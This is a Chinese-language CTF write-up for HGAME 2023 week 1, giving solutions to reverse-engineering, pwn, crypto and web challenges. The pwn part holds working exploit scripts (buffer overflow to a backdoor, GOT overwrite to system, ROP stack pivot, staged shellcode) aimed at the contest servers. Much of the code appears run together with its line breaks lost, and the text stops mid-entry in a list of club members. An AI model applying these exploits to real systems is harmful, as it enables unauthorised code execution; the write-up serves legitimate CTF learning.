#WEEK1

RE

1、re-test_your_IDA

ida打开可见flag：

int __cdecl main(int argc, const char **argv, const char **envp)
{char Str1[24]; // [rsp+20h] [rbp-18h] BYREFsub_140001064("%10s");if ( !strcmp(Str1, "r3ver5e") )sub_140001010("your flag:hgame{te5t_y0ur_IDA}");return 0;
}

flag:hgame{te5t_y0ur_IDA}

2、re-easyasm

; void __cdecl enc(char *p)
.text:00401160 _enc            proc near               ; CODE XREF: _main+1B↑p
.text:00401160
.text:00401160 i               = dword ptr -4
.text:00401160 Str             = dword ptr  8
.text:00401160
.text:00401160                 push    ebp
.text:00401161                 mov     ebp, esp
.text:00401163                 push    ecx
.text:00401164                 mov     [ebp+i], 0
.text:0040116B                 jmp     short loc_401176
.text:0040116D ; ---------------------------------------------------------------------------
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: _enc+3B↓j
.text:0040116D                 mov     eax, [ebp+i]
.text:00401170                 add     eax, 1
.text:00401173                 mov     [ebp+i], eax
.text:00401176
.text:00401176 loc_401176:                             ; CODE XREF: _enc+B↑j
.text:00401176                 mov     ecx, [ebp+Str]
.text:00401179                 push    ecx             ; Str
.text:0040117A                 call    _strlen
.text:0040117F                 add     esp, 4
.text:00401182                 cmp     [ebp+i], eax
.text:00401185                 jge     short loc_40119D
.text:00401187                 mov     edx, [ebp+Str]
.text:0040118A                 add     edx, [ebp+i]
.text:0040118D                 movsx   eax, byte ptr [edx]
.text:00401190                 xor     eax, 33h              ;异或0x33
.text:00401193                 mov     ecx, [ebp+Str]
.text:00401196                 add     ecx, [ebp+i]
.text:00401199                 mov     [ecx], al
.text:0040119B                 jmp     short loc_40116D
.text:0040119D ; ---------------------------------------------------------------------------
.text:0040119D
.text:0040119D loc_40119D:                             ; CODE XREF: _enc+25↑j
.text:0040119D                 mov     esp, ebp
.text:0040119F                 pop     ebp
.text:004011A0                 retn
.text:004011A0 _enc            endp
Input: your flag
Encrypted result: 0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e

分析处理逻辑就是个循环异或了0x33
exp：

c=[0x5b,0x54,0x52,0x5e,0x56,0x48,0x44,0x56,0x5f,0x50,0x3,0x5e,0x56,0x6c,0x47,0x3,0x6c,0x41,0x56,0x6c,0x44,0x5c,0x41,0x2,0x57,0x12,0x4e]
for i in range(len(c)):a=c[i] ^0x33print(chr(a),end='')

得到flag：hgame{welc0me_t0_re_wor1d!}

3、re-easyenc

ida分析代码

  if ( v4 == 41 )                         //flag长度 41{while ( 1 ){v5 = (flag[i] ^ 0x32) - 86;         //逆向这段代码就行了flag[i] = v5;if ( *((_BYTE *)v8 + i) != v5 )     //对比密文break;if ( ++i >= 41 ){v6 = "you are right!";goto LABEL_8;}}
...

动态调试获取到密文v5，然后exp:

c=[4, 255, 253, 9, 1, 243, 176, 0, 0, 5, 240, 173, 7, 6, 23, 5, 235, 23, 253, 23, 234, 1, 238, 1, 234, 177, 5, 250, 8, 1, 23, 172, 236, 1, 234, 253, 240, 5, 7, 6, 249]
for i in c:i += 86i&=0xffi ^= 0x32print(chr(i),end='')

得到flag：hgame{4ddit1on_is_a_rever5ible_0peration}

4、re-a_cup_of_tea

看题目应该是个tea算法,
ida：

Buf2[0] = 778273437;Buf2[1] = -1051836401;v11 = 0;memset(Buf1, 0, sizeof(Buf1));Buf2[2] = 1934188352;Buf2[3] = 1985950815;Buf2[4] = 1601794661;Buf2[5] = 1818309480;Buf2[6] = 1601792116;Buf2[7] = 1848734308;v9 = 1899;sub_140001010("nice tea!\n> ");sub_140001064("%50s");v3 = 0;v4 = 0;v5 = 0;v6 = 32i64;do{v4 -= 0x543210DD;v3 += (v4 + v5) ^ (16 * v5 + 305419896) ^ ((v5 >> 5) + 591751049);v5 += (v4 + v3) ^ ((v3 >> 5) + 1164413185) ^ (16 * (v3 + 54880137));--v6;}while ( v6 );*(_QWORD *)&Buf1[0] = __PAIR64__(v5, v3);if ( !memcmp(Buf1, Buf2, 0x22ui64) )sub_140001010("wrong...");sub_140001010("Congratulations!");return 0

明文前两个int做了个tea，后面的内容没变，注意sum是int
exp：

from ctypes import *
from libnum import n2sdef tea_dec(v):y = c_uint32(v[0])z = c_uint32(v[1])sum = c_int32(0)delta = 0x543210DDn = 32w = [0,0]for _ in range(32):sum.value -= deltawhile(n>0):z.value -= (sum.value + y.value ) ^ ((y.value  >> 5) + 1164413185) ^ (16 * (y.value  + 54880137))y.value -= (sum.value + z.value ) ^ (16 * z.value  + 305419896) ^ ((z.value  >> 5) + 591751049)sum.value += deltan -= 1w[0] = y.valuew[1] = z.valuereturn wBuf2 = [0x2E63829D,0xC14E400F]
flag2=b'@_Is_4_very_h3althy_dr1nk'
m = tea_dec(Buf2)
flag =n2s(m[0])[::-1]+n2s(m[1])[::-1]+flag2
print(flag)

得到flag：hgame{Te@_Is_4_very_h3althy_dr1nk}

附件后来做了更新，更新后做了4轮加密，key和算法没有变化
exp：

from ctypes import *
from libnum import n2sdef tea_dec(v):y = c_uint32(v[0])z = c_uint32(v[1])sum = c_int32(0)delta = 0x543210DDn = 32w = [0,0]for _ in range(32):sum.value -= deltawhile(n>0):z.value -= (sum.value + y.value ) ^ ((y.value  >> 5) + 1164413185) ^ (16 * (y.value  + 54880137))y.value -= (sum.value + z.value ) ^ (16 * z.value  + 305419896) ^ ((z.value  >> 5) + 591751049)sum.value += deltan -= 1w[0] = y.valuew[1] = z.valuereturn wBuf2 = [778273437, 3243130895, 2604253113, 1512016660, 1636330974, 1701168847, 2667990884, 594166774]
#flag2=b'@_Is_4_very_h3althy_dr1nk'
m = tea_dec(Buf2)
flag =n2s(m[0])[::-1]+n2s(m[1])[::-1]
m = tea_dec(Buf2[2:])
flag +=n2s(m[0])[::-1]+n2s(m[1])[::-1]
m = tea_dec(Buf2[4:])
flag +=n2s(m[0])[::-1]+n2s(m[1])[::-1]
m = tea_dec(Buf2[6:])
flag +=n2s(m[0])[::-1]+n2s(m[1])[::-1]
flag +=b'k}'
print(flag)#hgame{Tea_15_4_v3ry_h3a1k}

flag：hgame{Tea_15_4_v3ry_h3a1k}

5、re-encode

ida：

  scanf("%50s", v5);for ( i = 0; i < 50; ++i ){v4[2 * i] = v5[i] & 0xF;                //低位v4[2 * i + 1] = (v5[i] >> 4) & 0xF;     //高位}for ( j = 0; j < 100; ++j ){if ( v4[j] != enc[j] ){printf(Format, v4[0]);                    // wrongreturn 0;}}printf(aYesYouAreRight, v4[0]);               // rightreturn 0;

就是8位字符转2个4位，
exp：

c=[8, 6, 7, 6, 1, 6, 13, 6, 5, 6, 11, 7, 5, 6, 14, 6, 3, 6, 15, 6, 4, 6, 5, 6, 15, 5, 9, 6, 3, 7, 15, 5, 5, 6, 1, 6, 3, 7, 9, 7, 15, 5, 6, 6, 15, 6, 2, 7, 15, 5, 1, 6, 15, 5, 2, 7, 5, 6, 6, 7, 5, 6, 2, 7, 3, 7, 5, 6, 15, 5, 5, 6, 14, 6, 7, 6, 9, 6, 14, 6, 5, 6, 5, 6, 2, 7, 13, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]for i in range(0,len(c),2):t = c[i+1] << 4| c[i]print(chr(t),end='')

得到flag：hgame{encode_is_easy_for_a_reverse_engineer}

pwn

1、test_nc

cat flag

2、easy_overflow

常规操作，只不过close(1)要注意，可以使用报错输出 或者 将1重定向到2。

#encoding=utf-8
from pwn import *
r = remote('week-1.hgame.lwsec.cn',31915)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-easy_overflow/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libc
backdoor=0x401176
off= 16
payload = b'a'*off+p64(0)+p64(backdoor)
r.sendline(payload)
r.sendline('flag 1>&2') #sh flag也可
r.interactive()

3、choose_the_seat

兔兔在买高铁票时想要选一个好座位。

有一个任意地址写漏洞
1、改exit got让程序重复运行
2、puts泄露libc
3、改exit got改为ogg 或者 改先sit0让seat为’/bin/sh\0’ 后改puts got改为system，然后 sit 0。
exp

#encoding=utf-8
from ctypes import *
from pwn import *
import time
context(os='linux',arch='amd64')
#context.arch = 'amd64'
#r = remote('week-1.hgame.lwsec.cn',31086)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-choose_the_seat/vuln'
r = process(context.binary.path)
elf = context.binary
libc = elf.libcdef getn(addr):x = (addr >> 4) | 0x80000000y = c_int32(x)return y.valuestart=0x4010F0
x =getn(elf.got.exit-0x4040A0)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',p64(start))x =getn(0x404018-0x4040A0)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',b"aaaaaaaa")
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc.address = puts_addr - libc.symbols["puts"]#采用ogg
'''
ogg = libc.address+0xe3b01
x =getn(elf.got.exit-0x4040A0)
print(x)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',p64(ogg))
'''####不用ogg
sys_addr=libc.symbols['system']  
sh_addr=next(libc.search(b"/bin/sh\0"))
r.sendlineafter(b'choose one.\n',str(0).encode())
r.sendafter(b'your name\n',b'/bin/sh\0')x =getn(0x404018-0x4040A0)
r.sendlineafter(b'choose one.\n',str(x).encode())
r.sendafter(b'your name\n',b"aaaaaaaa"+p64(sys_addr))
r.sendline(b'0')r.interactive()

4、orw

泄露libc后因为溢出栈长度不足以构造三个参数的rop，所以进行栈迁移，然后构造flag字符串，orw
exp：

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
#r = remote('week-1.hgame.lwsec.cn',31815)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-orw/vuln'
r = process(context.binary.path)
elf = context.binary
libc = elf.libcoff=256
start_addr = 0x4010B0
poprdi_addr = 0x401393
leave_ret = 0x4012EEbss = elf.bss()
print("bss:"+hex(bss))
payload = b'a'*off+p64(0)+p64(poprdi_addr)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(start_addr)
r.sendlineafter(b'this task.\n',payload)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr:"+hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]open_addr=libc.symbols['open']  
read_addr=libc.symbols['read']  
write_addr=libc.symbols['write']  
gets_addr=libc.symbols['gets']  poprsi_addr  = libc.address + 0x2601f
poprdx_addr  = libc.address + 0x142c92#栈迁移
flag_addr = bss + 0x100 
read_buf = bss + 0x100 + 0x10
newstack = bss + 0x200print("flag_addr:"+hex(flag_addr))
print("newstack:"+hex(newstack))payload = b'a'*off+p64(newstack)
payload += p64(poprdi_addr) + p64(newstack+8)+ p64(gets_addr)+p64(leave_ret)
print(len(payload))
r.sendlineafter(b'this task.\n',payload)payload = p64(poprdi_addr)+ p64(flag_addr)+p64(gets_addr)
payload += p64(poprdi_addr)+ p64(flag_addr)+p64(poprsi_addr)+p64(0)+p64(open_addr)
payload += p64(poprdi_addr)+ p64(3)+p64(poprsi_addr)+ p64(read_buf)+p64(poprdx_addr)+p64(50)+p64(read_addr)
payload += p64(poprdi_addr)+ p64(1)+p64(poprsi_addr)+ p64(read_buf)+p64(poprdx_addr)+p64(50)+p64(write_addr)
r.sendline(payload)
r.sendline(b'flag\0')
r.interactive()

5、simple_shellcode

构造shellcode，并且开了限制智能orw，因为一开始构造的长度限制0x10，所以无法构造orw的shellcode，先构造个read，读入数据放到read执行完后的地址，然后利用read构造orw的shellcode
exp:

#encoding=utf-8
from pwn import *
import time
context(os='linux',arch='amd64')
r = remote('week-1.hgame.lwsec.cn',31969)
context.binary = '/mnt/d/ctf/ti/hgame2023/week1/pwn-simple_shellcode/vuln'
#r = process(context.binary.path)
elf = context.binary
libc = elf.libccode = '''mov rsi, rdx     #rdi bufmov rdx, 0x100   #rdx len xor rdi, rdi     #syscall
'''
code = asm(code)
print(len(code))#gdb.attach(r,'b *$rebase(0x13B9)')
time.sleep(2)
r.sendline(code)ad = 0xCAFE0000+0x100
shellcode = shellcraft.open("./flag")
shellcode += shellcraft.read(3, ad, 0x50)
shellcode += shellcraft.write(1, ad, 0x50)
payload = asm(shellcode)
print(len(code))
r.sendline(b"\x90"*len(code)+payload)
r.interactive()

crypto

1、兔兔的车票

兔兔刚买到车票就把车票丢到一旁，自己忙去了。结果再去找车票时发现原来的车票混在了其他东西里，而且票面还被污染了。你能帮兔兔找到它的车票吗。 注：flag.png已经提前保存在source文件夹下，并且命名为picture{x}.png

根据题目脚本，source下文件的大部分像素点为(0,0,0)，可以假定为全(0,0,0)，也就是明文已知，所以key = enc ^ source，flag = key^enckey

但是因为key有三个，所以需要爆破一下，查找 与flag图片使用同一key的enc：

exp：

from PIL import Image
from Crypto.Util.number import *
from random import shuffle, randint, getrandbitsflagImg = Image.open('pics/enc0.png')
width = flagImg.width
height = flagImg.heightdef makeSourceImg():colors = long_to_bytes(getrandbits(width * height * 24))[::-1]img = Image.new('RGB', (width, height))x = 0for i in range(height):for j in range(width):img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))x += 3return imgdef makeSourceImg0():colors =list(b''.zfill(width * height * 24))shuffle(colors)colors = bytes(colors)img = Image.new('RGB', (width, height))x = 0for i in range(height):for j in range(width):img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))x += 3return imgdef xorImg(keyImg, sourceImg):img = Image.new('RGB', (width, height))for i in range(height):for j in range(width):p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))return img#source文件夹下面的图片生成过程：
def makeImg():colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))shuffle(colors)colors = bytes(colors)img = Image.new('RGB', (width, height))x = 0for i in range(height):for j in range(width):img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))x += 3return imgn = makeSourceImg0()im = Image.open(f'pics/enc1.png') #0、2、3、4、5、6、7... 1的时候就遇到了
key = n
nImg = xorImg(key, im)
for i in range(16): im = Image.open(f'pics/enc{i}.png')decImg = xorImg(nImg, im)decImg.save(f'pics/dec{i}.png')

得到flag：hgame{Oh_my_Ticket}

2、cr-RSA

n用factordb.com可分解

然后常规脚本:

import gmpy2
from Crypto.Util.number import long_to_bytese = 65537
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789p=11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
q=12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953d = gmpy2.invert(e,(p-1)*(q-1))
m=pow(c,d,n)
print(long_to_bytes(m))

flag:hgame{factordb.com_is_strong!}

3、Be Stream

很喜欢李小龙先生的一句话"Be water my friend"，但是这条小溪的水好像太多了。

使用快速幂优化stream算法算法, sage脚本

key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
print('key=',key)enc=b'\x1a\x15\x05\t\x17\tu"-\x06lm\x01-\xc7\xcc2\x1eXA\x1c\x15\xb7\xdb\x06\x13\xaf\xa1-\x0b\xd4\x91-\x06\x8b\xd4-\x1e\xab\xaa\x15-\xf0\xed\x1f\x17\x1bY'A = matrix(Zmod(256), [[4, 7], [1, 0]])
B = vector(Zmod(256), [key[1],key[0]])def stream(i):return int((A ^ (i) * B)[1])flag=''
for i in range(len(enc)):water = stream((i//2)**6) % 256flag += chr(int(water ^^ enc[i]) & 0x7f)print(flag)

flag：hgame{1f_this_ch@l|eng3_take_y0u_to0_long_time?}

后来尝试用chatgpt简化：

这个算法复杂度还是比较大，能解出来，但是比较慢。

4、神秘的电话

学校突然放假了，tr0uble正在开开心心的收拾东西准备回家，但是手机铃声突然响起，tr0uble接起电话，但是只听到滴答滴答的声音。努力学习密码学的tr0uble一听就知道这是什么，于是马上记录下来并花了亿点时间成功破译了，但是怎么看这都不像是人能看懂的，还没等tr0uble反应过来，又一通电话打来，依然是滴答滴答的声音。tr0uble想到兔兔也在学习密码学，于是不负责任地把密文都交给了兔兔，兔兔收到密文后随便看了一眼就不屑地说"这么简单都不会？自己解去，别耽误我抢车票"。 flag为最后得到的结果套上hgame{}, flag中字母均为小写

附件一个密文文本，一个wav文件，wav文件名morse.wav, 为摩斯密码，
打开后也像

手抄:
----- …— …— …-- . …–.- .–. .-. … … -… .-… -.-- …–.- …–.- … — -. .-- .- …–.- .— – --. … …–.- …-. --. -.- -.-. --.- .- — --.- - – …-. .-.
摩斯解码：0223e_priibly__honwa_jmgh_fgkcqaoqtmfr

文本做base64解码得到

几个星期前，我们收到一个神秘的消息。但是这个消息被重重加密，我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的：“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。

关键点：倒着、18层篱笆、北欧神话
1）倒着（取逆）：
rfmtqoaqckgf_hgmj_awnoh__ylbiirp_e3220

2）18层篱笆（w形栅栏18 ）：
rmocfhm_wo_ybipe2023_ril_hnajg_katfqqg
看到2023感觉步骤是对的

3）北欧神话（维吉尼亚：key：Vidar）
welcometohgameandenjoyhacking
北欧神话这个搞了很久，加密算法中没有找到跟北欧神话有关的，搜索北欧神话 ctf，找到的关键字是组织方的战队名“Vidar” 那这个可能是key，尝试之后发现是维吉尼亚密码。

4）补充上数字和下划线：
welcome_to_hgame2023_and_enjoy_hacking

flag:hgame{welcome_to_hgame2023_and_enjoy_hacking}

web

1、Classic Childhood Game

兔最近迷上了一个纯前端实现的网页小游戏，但是好像有点难玩，快帮兔兔通关游戏！

在Events.js中有个处理加密数据的函数mota()，在console中执行：

2、Guess Who am I

刚加入Vidar的兔兔还认不清协会成员诶，学长要求的答对100次问题可太难了，你能帮兔兔写个脚本答题吗？

打开页面后要求回答问题，查看源码有个hint：

打开hint链接是答案

exp：

ans=[{"id": "ba1van4","intro": "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=kSt5er0OQMXROy28nzTia0A&s=640","url": "https://ba1van4.icu"},{"id": "yolande","intro": "21级 / 非常菜的密码手 / 很懒的摸鱼爱好者，有点呆，想学点别的但是一直开摆","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rY328VIqDc7lNtujYic8JxA&s=640","url": "https://y01and3.github.io/"},{"id": "t0hka","intro": "21级 / 日常自闭的Re手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EYNwm1PQe8o5OcghFb4zfw&s=640","url": "https://blog.t0hka.top/"},{"id": "h4kuy4","intro": "21级 / 菜鸡pwn手 / 又菜又爱摆","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=BmACniaibVb6IL6LiaYF4Uvlw&s=640","url": "https://hakuya.work"},{"id": "kabuto","intro": "21级web / cat../../../../f*","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=oPn2ez6Nq12GqPZG6cV7nw&s=640","url": "https://www.bilibili.com/video/BV1GJ411x7h7/"},{"id": "R1esbyfe","intro": "21级 / 爱好歪脖 / 究极咸鱼一条 / 热爱幻想 / 喜欢窥屏水群","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=FLyUHP6nYov19gA0ia83u8Q&s=640","url": "https://r1esbyfe.top/"},{"id": "tr0uble","intro": "21级 / 喜欢肝原神的密码手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=bgcib3gBjJGdKEf7BZ512Uw&s=640","url": "https://clingm.top"},{"id": "Roam","intro": "21级 / 入门级crypto","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5wzr9TVyw2nxOz5Jb7ceaQ&s=640","url": "#"},{"id": "Potat0","intro": "20级 / 摆烂网管 / DN42爱好者","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=NicTy1CDqeHsgzbZEIUU2wg&s=640","url": "https://potat0.cc/"},{"id": "Summer","intro": "20级 / 歪脖手 / 想学运维 / 发呆业务爱好者","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=4y6zxTBSB3cbseeyPvQWng&s=640","url": "https://blog.m1dsummer.top"},{"id": "chuj","intro": "20级 / 已退休不再参与大多数赛事 / 不好好学习，生活中就会多出许多魔法和奇迹","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=aM4tJSQSxB5gcauIMDEtUg&s=640","url": "https://cjovi.icu"},{"id": "4nsw3r","intro": "20级会长 / re / 不会pwn","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=j3LOiav9IluKSYg1VEibblZw&s=640","url": "https://4nsw3r.top/"},{"id": "4ctue","intro": "20级 / 可能是IOT的MISC手 / 可能是美工 / 废物晚期","url": "#"},{"id": "0wl","intro": "20级 / Re手 / 菜","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=06FRYslcuprt59OxibicdhqQ&s=640","url": "https://0wl-alt.github.io"},{"id": "At0m","intro": "20级 / web / 想学iot","url": "https://homeboyc.cn/"},{"id": "ChenMoFeiJin","intro": "20级 / Crypto / 摸鱼学代师","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=5xyCaLib3lovjrUzf5pWxDQ&s=640","url": "https://chenmofeijin.top"},{"id": "Klrin","intro": "20级 / WEB / 菜的抠脚 / 想学GO","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=nnzEWNwxMS88jKYre5fOjg&s=640","url": "https://blog.mjclouds.com/"},{"id": "ek1ng","intro": "20级 / Web / 还在努力","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=pJFuHEqNaFk1If1STvRibWw&s=640","url": "https://ek1ng.com"},{"id": "latt1ce","intro": "20级 / Crypto&BlockChain / Plz V me 50 eth","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EmPiaz7Msgg7iaia9tibibjdUyw&s=640","url": "https://lee-tc.github.io/"},{"id": "Ac4ae0","intro": "*级 / 被拐卖来接盘的格子 / 不可以乱涂乱画哦","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EI7A02PYs5WUVFP2bciad8w&s=640","url": "https://twitter.com/LAttic1ng"},{"id": "Akira","intro": "19级 / 不会web / 半吊子运维 / 今天您漏油了吗","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=ku1vqyI1hLJr61PGIlic7Ow&s=640","url": "https://4kr.top"},{"id": "qz","intro": "19级 / 摸鱼美工 / 学习图形学、渲染ing","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=q5qVDcvyzxee4qiays52mibA&s=640","url": "https://fl0.top/"},{"id": "Liki4","intro": "19级 / 脖子笔直歪脖手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=E3j3BJrsAfyl1arfnFKufQ&s=640","url": "https://github.com/Liki4"},{"id": "0x4qE","intro": "19级 / &lt;/p&gt;&lt;p&gt;Web","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=K7icYial1VVzlNl7hrD9MlNw&s=640","url": "https://github.com/0x4qE"},{"id": "xi4oyu","intro": "19级 / 骨瘦如柴的胖手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=JfeMY6Lz5ZU4GmtTV85otQ&s=640","url": "https://www.xi4oyu.top/"},{"id": "R3n0","intro": "19级 / bin底层选手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icY08gnMlXtoYIJ9ib3eJQ2g&s=640","url": "https://r3n0.top"},{"id": "m140","intro": "19级 / 不会re / dl萌新 / 太弱小了，没有力量 / 想学游戏","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=zt0iccbnGuV8dOpXIYrJgvg&s=640","url": "#"},{"id": "Mezone","intro": "19级 / 普通的binary爱好者。","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rDD29iahzzg8AvQX7fdbFPg&s=640","url": "#"},{"id": "d1gg12","intro": "19级 / 游戏开发 / 🐟粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=icawQKtjLcRiaj7scTRBZ9Qw&s=640","url": "https://d1g.club"},{"id": "Trotsky","intro": "19级 / 半个全栈 / 安卓摸🐟 / P 社玩家 / 🍆粉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=LiasEshjTXTrNzJjPHVY3Vw&s=640","url": "https://altonhe.github.io/"},{"id": "Gamison","intro": "19级 / 挖坑不填的web选手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=0VaAu2go9mvrMXu1ibmKy1g&s=640","url": "http://aw.gamison.top"},{"id": "Tinmix","intro": "19级会长 / DL爱好者 / web苦手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=L2EclrAltb7lk3LBPY6oWA&s=640","url": "http://poi.ac"},{"id": "RT","intro": "19级 / Re手，我手呢？","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=p1TD1qwKfEK8NZExRDqic1A&s=640","url": "https://wr-web.github.io"},{"id": "wenzhuan","intro": "18 级 / 完全不会安全 / 一个做设计的鸽子美工 / 天天画表情包","url": "https://wzyxv1n.top/"},{"id": "Cosmos","intro": "18级 / 莫得灵魂的开发 / 茄粉 / 作豚 /  米厨","url": "https://cosmos.red"},{"id": "Y","intro": "18 级 / Bin / Win / 电竞缺乏视力 / 开发太菜 / 只会 C / CSGO 白给选手","url": "https://blog.xyzz.ml:444/"},{"id": "Annevi","intro": "18级 / 会点开发的退休web手 / 想学挖洞 / 混吃等死","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=WN9x96MpjSJ3Gc7a3SHtDw&s=640","url": "https://annevi.cn"},{"id": "logong","intro": "18 级 / 求大佬带我IoT入门 / web太难了只能做做misc维持生计 / 摸🐟","url": "http://logong.vip"},{"id": "Kevin","intro": "18 级 / Web / 车万","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=jaXAqywDMbia39e4OfGXicPQ&s=640","url": "https://harmless.blue/"},{"id": "LurkNoi","intro": "18级 / 会一丢丢crypto / 摸鱼","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=CLTlN5QPS3aI60icIoxGmdQ&s=640","url": "#"},{"id": "幼稚园","intro": "18级会长 / 二进制安全 /  干拉","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=G2o7mX9RCTkiaCHeEiaJLBwA&s=640","url": "https://danisjiang.com"},{"id": "lostflower","intro": "18级 / 游戏引擎开发 / 尚有梦想的game maker","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=eQHtN69C2tgM8Ul8PmtTKw&s=640","url": "https://r000setta.github.io"},{"id": "Roc826","intro": "18 级 / Web 底层选手","url": "http://www.roc826.cn/"},{"id": "Seadom","intro": "18 级 / Web / 真·菜到超乎想象 / 拼死学（mo）习（yu）中","url": "#"},{"id": "ObjectNotFound","intro": "18级 / 懂点Web & Misc / 懂点运维 / 正在懂游戏引擎 / 我们联合！","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=yQnkF86Uy6UkZrZmFYLL4g&s=640","url": "https://www.zhouweitong.site"},{"id": "Moesang","intro": "18 级 / 不擅长 Web / 擅长摸鱼 / 摸鱼！","url": "https://blog.wz22.cc"},{"id": "E99p1ant","intro": "18级 / 囊地鼠饲养员 / 写了一个叫 Cardinal 的平台","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=AJQ9RJRCavhSibMZtRq2JOQ&s=640","url": "https://github.red/"},{"id": "Michael","intro": "18 级 / Java / 会除我佬","url": "http://michaelsblog.top/"},{"id": "matrixtang","intro": "18级 / 编译器工程师( 伪 / 半吊子PL- 静态分析方向","url": "#"},{"id": "r4u","intro": "18级 / 不可以摸🐠哦","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=rJCqQv1EzicpDW77nMa5bYw&s=640","url": "http://r4u.top/"},{"id": "357","intro": "18级 / 并不会web / 端茶送水选手","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=POaV9Y85NiaUcibaETEKTpfw&s=640","url": "#"},{"id": "Li4n0","intro": "17 级 / Web 安全爱好者 / 半个程序员 / 没有女朋友","url": "https://blog.0e1.top"},{"id": "迟原静","intro": "17级 / Focus on Java Security","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=xyVPFvQ2dWReoBiahd7naSw&s=640","url": "#"},{"id": "Ch1p","intro": "17 级 / 自称 Bin 手实际啥都不会 / 二次元安全","url": "http://ch1p.top"},{"id": "f1rry","intro": "17 级 / Web","url": "#"},{"id": "mian","intro": "17 级 / 业余开发 / 专业摸鱼","url": "https://www.intmian.com"},{"id": "ACce1er4t0r","intro": "17级 / 摸鱼ctfer / 依旧在尝试入门bin / 菜鸡研究生+1","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=gRBlwiawx1lF4UkPKh4Liczg&s=640","url": "#"},{"id": "MiGo","intro": "17级 / 二战人 / 老二次元 / 兴趣驱动生活","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=XzZggL7hDeicLXb2FSic6sfg&s=640","url": "https://migoooo.github.io/"},{"id": "BrownFly","intro": "17级 / RedTeamer / 字节跳动安全工程师","avatar": "https://thirdqq.qlogo.cn/g?b=sdk&k=EnNslsFelj9HibuKoNHwmyg&s=640","url": "https://brownfly.github.io"},{"id": "Aris","intro": "17级/ Key厨 / 